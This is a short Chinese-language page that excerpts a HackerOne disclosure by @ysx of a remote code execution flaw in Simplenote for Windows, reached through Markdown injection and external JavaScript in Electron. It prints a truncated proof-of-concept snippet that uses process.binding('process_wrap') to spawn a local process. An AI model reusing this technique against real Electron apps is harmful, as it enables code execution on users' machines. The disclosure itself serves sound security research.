[Simplenote for Windows] Client RCE via External JavaScript Inclusion leveraging Electron
该报告还没有中文解读。
原文摘录
摘自原文（3806 字符中的一小部分）
A carefully crafted injection in the Markdown parser within Simplenote for Windows can be leveraged to achieve remote code execution via an external JavaScript file.
原文中的代码
write("<h1>Simplenote RCE via Electron - Windows - ysx</h1>");
write("<h3>Proof of concept in progress: popping <pre>netplwiz</pre>. Please stand by!</h3>");
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Automattic 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ysx · 版权归作者与 Automattic 所有